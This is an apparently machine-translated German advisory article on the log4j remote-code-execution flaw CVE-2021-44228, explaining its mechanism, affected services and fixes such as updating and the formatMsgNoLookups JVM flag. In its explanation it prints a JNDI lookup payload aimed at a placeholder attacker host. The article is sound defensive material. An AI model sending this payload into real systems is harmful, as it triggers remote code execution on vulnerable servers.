Kritischer RCE-Zero-Day-Exploit in der beliebten Java-Logging-Bibliothek log4j gefunden und beeinflusst einen Großteil des Internets

0
408

In log4j, einem sehr beliebten Protokollierungstool, das von den meisten der Industrie verwendet wird. Es ist extrem schwerwiegend, betrifft fast jeden Server, auf dem Java ausgeführt wird, und ist sehr einfach auszunutzen, daher sollten Sie das Problem so schnell wie möglich aktualisieren und abschwächen.

Wie funktioniert das?

Der Fehler, der von CVE-2021-44228 verfolgt wird, betrifft wahrscheinlich fast jede Java-Anwendung, die log4j verwendet, und zwar einige, wenn man bedenkt, wie allgegenwärtig es ist. Wenn Ihre Anwendung jemals eine von einem Benutzer gesendete Zeichenfolge protokolliert, ist sie wahrscheinlich anfällig. Was Exploits angeht, ist es eines der schlimmsten in diesem Jahr, da es praktisch jeden Server angreifen kann, auf dem Java in irgendeiner Weise ausgeführt wird (obwohl der primäre Angriffsvektor bei modernen JDK-Versionen schwieriger sein kann, mehr dazu unten). .

Im Wesentlichen ermöglicht der Exploit einem Angreifer, Ihrem Server eine beliebige Zeichenfolge wie die folgende zu senden, und wenn sie irgendwo in Ihrer App protokolliert wird, führt Ihr Server unter dieser Adresse gehosteten Code aus.

${jndi:ldap://attacker .com/a}

Dies funktioniert, weil log4j beim Parsen dieses eindeutig formatierten Strings eine Anfrage über das Java Naming and Directory Interface stellt, die schließlich eine Download-Anfrage an einen beliebigen Endpunkt sendet. Es lädt die .class-Datei auf unsichere Weise herunter und deserialisiert sie. Da Java-Klassen statische Initialisierer haben können, die immer dann ausgeführt werden, wenn die Klasse kompiliert und referenziert wird, führt dies zu einer Remote-Ausführung beliebigen Codes aus einer einfachen, kurzen Zeichenfolge. Zum Beispiel könnte ein Client seinen User-Agent auf diese Zeichenfolge setzen oder sie anderweitig in eine Anfrage aufnehmen, und wenn Ihr Server dies protokolliert, wird der Exploit ausgelöst.

Das ist ziemlich schrecklich, eine 9,8 auf der CVSS-Skala zu erreichen. Es bleibt knapp unter der schlechtesten Punktzahl, da es trotz seiner Schrecklichkeit keine Ressourcen außerhalb des Bereichs des Zielsystems beeinflusst (aber Zugriff auf Anwendungsebene auf den Server gewährt, auf dem der Logger ausgeführt wird).

VERWANDTE: Wie werden Sicherheitslücken eingestuft? (CVSS)

Es wird viele Anwendungen betreffen. Minecraft war beispielsweise einer der ersten, der die Nachricht verbreitete und den Exploit patchte, da es möglich war, Code sowohl auf Servern als auch auf allen Spielern auszuführen, die über die Chat-Nachrichten im Spiel mit einem Server verbunden waren. Ein Hotfix-Update für das Spiel wurde veröffentlicht, um den Fehler zu beheben.

Werbung

Beliebte Dienste wie Steam und iCloud wurden bereits als anfällig befunden, und das Sicherheitsforschungsunternehmen GreyNoise hat bereits mehrere IPs erkannt, die Scans nach anfälligen Servern ausführen.

Sie verwenden wahrscheinlich bereits log4j, da es in Hunderten anderer Bibliotheken als Standard-Logging-Tool enthalten ist. JDK-Versionen größer als 6u211, 7u201, 8u191 und 11.0.1 sind jedoch nicht vom primären Angriffsvektor (mit LDAP) betroffen, der derzeit ausgenutzt wird. Das heißt nicht, dass Sie nicht aktualisieren sollten, da der Fehler in log4j + JNDI immer noch schwerwiegend ist und problemlos auch mit anderen Angriffsvektoren verwendet werden kann.

Wie behebe ich das Problem?

Zum Glück gibt es bereits einen Fix, der es vollständig behebt, also sollten Sie Ihre Server so schnell wie möglich aktualisieren. Dies betrifft jedoch auch Clientanwendungen, die für diesen kritischen Patch ebenfalls aktualisiert werden müssen. Immerhin läuft Java auf 3 Milliarden Geräten, daher wird es noch eine Weile dauern, bis es vollständig behoben ist.

Der Exploit wurde bereits in der neuesten Version von log4j gepatcht , 2.15.0-rc2, also sollten Sie das aktualisieren, wenn Sie können. Der Patch wurde auch auf frühere Versionen zurückportiert, angesichts des Schweregrades für Benutzer, die möglicherweise bei älteren Versionen hängen bleiben.

Wenn Sie eine andere Bibliothek verwenden, die log4j verwendet, sollten Sie weiterhin in der Lage sein, manuell zu arbeiten in den meisten Fällen aktualisieren, aber wenn dies nicht möglich ist, können Sie dieses JVM-Flag verwenden, um das Problem zu mildern, das log4j einfach anweist, beim Formatieren von Nachrichten keine Suchvorgänge durchzuführen.

-Dlog4j2.formatMsgNoLookups=true